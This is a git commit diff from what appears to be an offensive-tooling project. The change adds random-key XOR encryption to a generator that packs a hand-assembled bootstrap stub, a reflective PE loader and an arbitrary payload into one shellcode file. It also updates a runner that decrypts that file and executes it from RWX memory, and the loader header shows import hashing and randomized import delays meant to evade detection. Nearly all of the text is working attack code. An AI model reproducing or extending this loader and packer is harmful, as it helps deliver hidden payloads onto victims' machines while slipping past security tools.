randomized XOR & organized common headers

This commit is contained in:
17ms 2024-01-05 21:02:01 +02:00
parent b3a4f0f51c
commit ee6da55d83
7 changed files with 65 additions and 150 deletions

View File

@ -1,12 +1,6 @@
#include <windows.h>
#include <getopt.h>
#include <iostream>
#include <fstream>
#include <vector>
#include <cstdint>
#include "generator.hpp" #include "generator.hpp"
#include "../shared/crypto.hpp" #include "../shared/crypto.hpp"
#include "../shared/futils.hpp"
int main(int argc, char **argv) int main(int argc, char **argv)
{ {
@ -68,26 +62,12 @@ int main(int argc, char **argv)
std::cout << "[+] Payload path: " << payloadPath << std::endl; std::cout << "[+] Payload path: " << payloadPath << std::endl;
std::cout << "[+] Output path: " << outputPath << std::endl; std::cout << "[+] Output path: " << outputPath << std::endl;
LPBYTE loaderContents; auto loaderContents = ReadFromFile(loaderPath);
DWORD loaderSize; auto payloadContents = ReadFromFile(payloadPath);
if (!GetFileContents(loaderPath, &loaderContents, &loaderSize))
{
return 1;
}
LPBYTE payloadContents;
DWORD payloadSize;
if (!GetFileContents(payloadPath, &payloadContents, &payloadSize))
{
return 1;
}
// Compose the complete shellcode from loader, payload, and bootstrap // Compose the complete shellcode from loader, payload, and bootstrap
std::vector<BYTE> bootstrap; std::vector<BYTE> bootstrap;
DWORD bootstrapSize = BOOTSTRAP_LEN;
DWORD funcParameterHash = CalculateHash(funcParameter); DWORD funcParameterHash = CalculateHash(funcParameter);
/* /*
@ -173,7 +153,7 @@ int main(int argc, char **argv)
bootstrap.push_back(0x49); bootstrap.push_back(0x49);
bootstrap.push_back(0x81); bootstrap.push_back(0x81);
bootstrap.push_back(0xc0); bootstrap.push_back(0xc0);
auto funcParameterOffset = (bootstrapSize - 5) + loaderSize + payloadSize; auto funcParameterOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size() + payloadContents.size();
for (size_t i = 0; i < sizeof(funcParameterOffset); i++) for (size_t i = 0; i < sizeof(funcParameterOffset); i++)
{ {
@ -192,7 +172,7 @@ int main(int argc, char **argv)
bootstrap.push_back(0x48); bootstrap.push_back(0x48);
bootstrap.push_back(0x81); bootstrap.push_back(0x81);
bootstrap.push_back(0xc1); bootstrap.push_back(0xc1);
auto payloadOffset = (bootstrapSize - 5) + loaderSize; auto payloadOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size();
for (size_t i = 0; i < sizeof(payloadOffset); i++) for (size_t i = 0; i < sizeof(payloadOffset); i++)
{ {
@ -205,7 +185,7 @@ int main(int argc, char **argv)
// Call <reflectiveLoaderAddress> -> Call the reflective loader address // Call <reflectiveLoaderAddress> -> Call the reflective loader address
bootstrap.push_back(0xe8); bootstrap.push_back(0xe8);
auto reflectiveLoaderAddress = (bootstrapSize - 5) + loaderSize; auto reflectiveLoaderAddress = (BOOTSTRAP_LEN - 5) + loaderContents.size();
for (size_t i = 0; i < sizeof(reflectiveLoaderAddress); i++) for (size_t i = 0; i < sizeof(reflectiveLoaderAddress); i++)
{ {
@ -235,15 +215,15 @@ int main(int argc, char **argv)
bootstrap.push_back(0x90); bootstrap.push_back(0x90);
bootstrap.push_back(0x90); bootstrap.push_back(0x90);
if (bootstrap.size() != bootstrapSize) if (bootstrap.size() != BOOTSTRAP_LEN)
{ {
std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << bootstrapSize << std::endl; std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << BOOTSTRAP_LEN << std::endl;
return 1; return 1;
} }
std::cout << "[+] Bootstrap size: " << bootstrap.size() << std::endl; std::cout << "[+] Bootstrap size: " << bootstrap.size() << std::endl;
std::cout << "[+] Loader size: " << loaderSize << std::endl; std::cout << "[+] Loader size: " << loaderContents.size() << std::endl;
std::cout << "[+] Payload size: " << payloadSize << std::endl; std::cout << "[+] Payload size: " << payloadContents.size() << std::endl;
/* /*
Form the complete shellcode with the following structure: Form the complete shellcode with the following structure:
@ -253,67 +233,26 @@ int main(int argc, char **argv)
- User data - User data
*/ */
bootstrap.insert(bootstrap.end(), loaderContents, loaderContents + loaderSize); bootstrap.insert(bootstrap.end(), loaderContents.begin(), loaderContents.end());
bootstrap.insert(bootstrap.end(), payloadContents, payloadContents + payloadSize); bootstrap.insert(bootstrap.end(), payloadContents.begin(), payloadContents.end());
std::cout << "[+] Total shellcode size: " << bootstrap.size() << std::endl; // XOR with a random content length key
std::cout << "[+] XOR'ing the shellcode..." << std::endl;
auto key = GenerateKey(bootstrap.size());
XorCipher(bootstrap, key);
if (!WriteFileContents(outputPath, bootstrap.data(), bootstrap.size())) std::cout << "[+] Total XOR'd shellcode size: " << bootstrap.size() << std::endl;
{
return 1;
}
auto srcUuid = GenerateUuid(); WriteToFile(outputPath, bootstrap);
std::cout << "[+] AES key derivation UUID: " << srcUuid << std::endl; std::cout << "[+] Wrote the final shellcode to " << outputPath << std::endl;
std::cout << "[+] " << std::endl; auto keyPath = outputPath + ".key";
WriteToFile(keyPath, key);
std::cout << "[+] Wrote the XOR key to " << keyPath << std::endl;
return 0; return 0;
} }
BOOL GetFileContents(std::string filePath, LPBYTE *fileContents, DWORD *fileSize)
{
std::ifstream infile(filePath, std::ios::binary | std::ios::ate);
if (!infile)
{
std::cout << "[!] Failed to open file for reading: " << filePath << std::endl;
return FALSE;
}
*fileSize = static_cast<DWORD>(infile.tellg());
infile.seekg(0, std::ios::beg);
*fileContents = new BYTE[*fileSize];
infile.read(reinterpret_cast<char *>(*fileContents), *fileSize);
infile.close();
return TRUE;
}
BOOL WriteFileContents(std::string filePath, LPBYTE fileContents, DWORD fileSize)
{
std::ofstream outfile(filePath, std::ios::binary);
if (!outfile)
{
std::cout << "[!] Failed to open file for writing: " << filePath << std::endl;
return FALSE;
}
outfile.write(reinterpret_cast<char *>(fileContents), fileSize);
if (!outfile.good())
{
std::cout << "[!] Failed to write the contents: " << filePath << std::endl;
return FALSE;
}
outfile.close();
return TRUE;
}
void PrintHelp(char **argv) void PrintHelp(char **argv)
{ {
std::cout << "Usage: " << argv[0] << " [ARGUMENTS] [OPTIONS]" << std::endl; std::cout << "Usage: " << argv[0] << " [ARGUMENTS] [OPTIONS]" << std::endl;

View File

@ -1,12 +1,9 @@
#pragma once #pragma once
#include <windows.h> #include <windows.h>
#include <string> #include <getopt.h>
#include <iostream>
#define BOOTSTRAP_LEN 79 constexpr auto BOOTSTRAP_LEN = 79;
// Utils
BOOL GetFileContents(std::string filePath, LPBYTE *fileContents, DWORD *fileSize);
BOOL WriteFileContents(std::string filePath, LPBYTE fileContents, DWORD fileSize);
void PrintHelp(char **argv); void PrintHelp(char **argv);

View File

@ -1,14 +1,15 @@
#include <windows.h> #include <windows.h>
#include <iostream> #include <iostream>
#include <fstream> #include "../shared/futils.hpp"
#include "../shared/crypto.hpp"
#define VERBOSE 1 #define VERBOSE 1
int main(int argc, char **argv) int main(int argc, char **argv)
{ {
if (argc != 2) if (argc != 3)
{ {
std::cout << "[?] Usage: " << argv[0] << " <shellcode-path>" << std::endl; std::cout << "[?] Usage: " << argv[0] << " <shellcode-path> <xor-keyfile-path>" << std::endl;
return 1; return 1;
} }
@ -16,41 +17,40 @@ int main(int argc, char **argv)
std::cout << "[+] Reading shellcode from " << argv[1] << std::endl; std::cout << "[+] Reading shellcode from " << argv[1] << std::endl;
#endif #endif
std::ifstream shellcode(argv[1]); auto shellcodeContents = ReadFromFile(argv[1]);
if (!shellcode.is_open()) #ifdef VERBOSE
{ std::cout << "[+] Reading XOR key from " << argv[2] << std::endl;
std::cout << "[!] Failed to open " << argv[1] << std::endl; #endif
return 1;
}
shellcode.seekg(0, std::ios::end); auto key = ReadFromFile(argv[2]);
size_t filesize = shellcode.tellg();
shellcode.seekg(0, std::ios::beg);
auto buffer = new char[filesize]; #ifdef VERBOSE
shellcode.read(buffer, filesize); std::cout << "[+] XOR'ing shellcode" << std::endl;
#endif
auto base = VirtualAlloc(nullptr, filesize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); XorCipher(shellcodeContents, key);
if (!base) auto baseAddress = VirtualAlloc(nullptr, shellcodeContents.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!baseAddress)
{ {
std::cout << "[!] Failed to allocate memory" << std::endl; std::cout << "[!] Failed to allocate memory" << std::endl;
return 1; return 1;
} }
#ifdef VERBOSE #ifdef VERBOSE
std::cout << "[+] Allocated " << filesize << " bytes at " << base << std::endl; std::cout << "[+] Allocated " << shellcodeContents.size() << " bytes at " << baseAddress << std::endl;
#endif #endif
std::copy(buffer, buffer + filesize, static_cast<char *>(base)); std::copy(shellcodeContents.begin(), shellcodeContents.end(), static_cast<char *>(baseAddress));
#ifdef VERBOSE #ifdef VERBOSE
std::cout << "[+] Copied shellcode to " << base << std::endl; std::cout << "[+] Copied shellcode to " << baseAddress << std::endl;
std::cout << "[+] Executing 'jmp " << base << "'" << std::endl; std::cout << "[+] Executing 'jmp " << baseAddress << "'" << std::endl;
#endif #endif
__asm__("jmp *%0" ::"r"(base)); __asm__("jmp *%0" ::"r"(baseAddress));
return 0; return 0;
} }

View File

@ -1,10 +1,3 @@
#include <windows.h>
#include <winternl.h>
#include <vector>
#include <tuple>
#include <algorithm>
#include <random>
#include "loader.hpp" #include "loader.hpp"
#include "../shared/crypto.hpp" #include "../shared/crypto.hpp"

View File

@ -2,7 +2,7 @@
#include <windows.h> #include <windows.h>
#include <winternl.h> #include <winternl.h>
#include <random> #include <algorithm>
constexpr auto MAX_IMPORT_DELAY_MS = 6 * 1000; constexpr auto MAX_IMPORT_DELAY_MS = 6 * 1000;
constexpr auto OBFUSCATE_IMPORTS = 1; constexpr auto OBFUSCATE_IMPORTS = 1;
@ -62,12 +62,10 @@ struct _IMAGE_RELOC
using IMAGE_RELOC = _IMAGE_RELOC; using IMAGE_RELOC = _IMAGE_RELOC;
using PIMAGE_RELOC = _IMAGE_RELOC *; using PIMAGE_RELOC = _IMAGE_RELOC *;
// Utils
PBYTE GetModuleAddressFromHash(DWORD dwHash); PBYTE GetModuleAddressFromHash(DWORD dwHash);
HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 &eng); HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 &eng);
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage); PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage);
// Loader functions
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders); void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders);
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta); BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta);
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 &eng); BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 &eng);

View File

@ -1,41 +1,26 @@
#include <winternl.h>
#include <random>
#include <sstream>
#include "crypto.hpp" #include "crypto.hpp"
std::string GenerateUuid() std::vector<BYTE> GenerateKey(size_t keysize)
{ {
// Source: https://stackoverflow.com/a/60198074/15310712 std::vector<BYTE> key(keysize, 0);
std::stringstream ss;
std::random_device rd; std::random_device rd;
std::mt19937 gen(rd()); std::mt19937 gen(rd());
std::uniform_int_distribution<> dis(0, 15); std::uniform_int_distribution<> dis(0, 255);
std::uniform_int_distribution<> dis2(8, 11);
ss << std::hex; for (size_t i = 0; i < key.size(); ++i)
auto generateHex = [&](int count)
{ {
for (int i = 0; i < count; ++i) key[i] = static_cast<BYTE>(dis(gen));
{ }
ss << dis(gen);
}
};
generateHex(8); return key;
ss << "-"; }
generateHex(4);
ss << "-4";
generateHex(3);
ss << "-";
ss << dis2(gen);
generateHex(3);
ss << "-";
generateHex(12);
return ss.str(); void XorCipher(std::vector<BYTE> &data, const std::vector<BYTE> &key)
{
for (auto i = 0; i < data.size(); i++)
{
data[i] = data[i] ^ key[i % key.size()];
}
} }
DWORD CalculateHash(const std::string &source) DWORD CalculateHash(const std::string &source)

View File

@ -1,10 +1,13 @@
#pragma once #pragma once
#include <windows.h> #include <windows.h>
#include <winternl.h>
#include <string> #include <string>
#include <random>
constexpr auto HASH_KEY = 5381; constexpr auto HASH_KEY = 5381;
std::string GenerateUuid(); std::vector<BYTE> GenerateKey(size_t keysize);
void XorCipher(std::vector<BYTE> &data, const std::vector<BYTE> &key);
DWORD CalculateHash(const std::string &source); DWORD CalculateHash(const std::string &source);
DWORD CalculateHash(const UNICODE_STRING &baseDllName); DWORD CalculateHash(const UNICODE_STRING &baseDllName);